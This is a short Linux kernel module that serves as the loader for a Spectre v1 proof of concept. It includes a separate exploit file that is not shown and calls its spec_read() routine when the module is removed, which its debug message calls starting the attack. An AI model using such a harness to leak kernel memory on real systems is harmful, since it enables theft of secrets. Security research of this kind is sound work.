#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kobject.h>
#include <linux/module.h>
#include <linux/string.h>
#include <linux/sysfs.h>

#include "spectre-v1-kernel.c"

static int __init sys_test_init(void)
{
    printk(KERN_DEBUG "init spectre v1 kernel poc, rmmod spectre-v1-kernel-poc start attack\n");
    return 0;
}

static void __exit sys_test_exit(void)
{
    printk(KERN_DEBUG "byebye\n");
    spec_read();
}

module_init(sys_test_init);
module_exit(sys_test_exit);

MODULE_AUTHOR("ystlong@163.com>");
MODULE_DESCRIPTION("spectre-v1 poc test on kernel");
MODULE_LICENSE("GPL");
MODULE_VERSION("0.1");
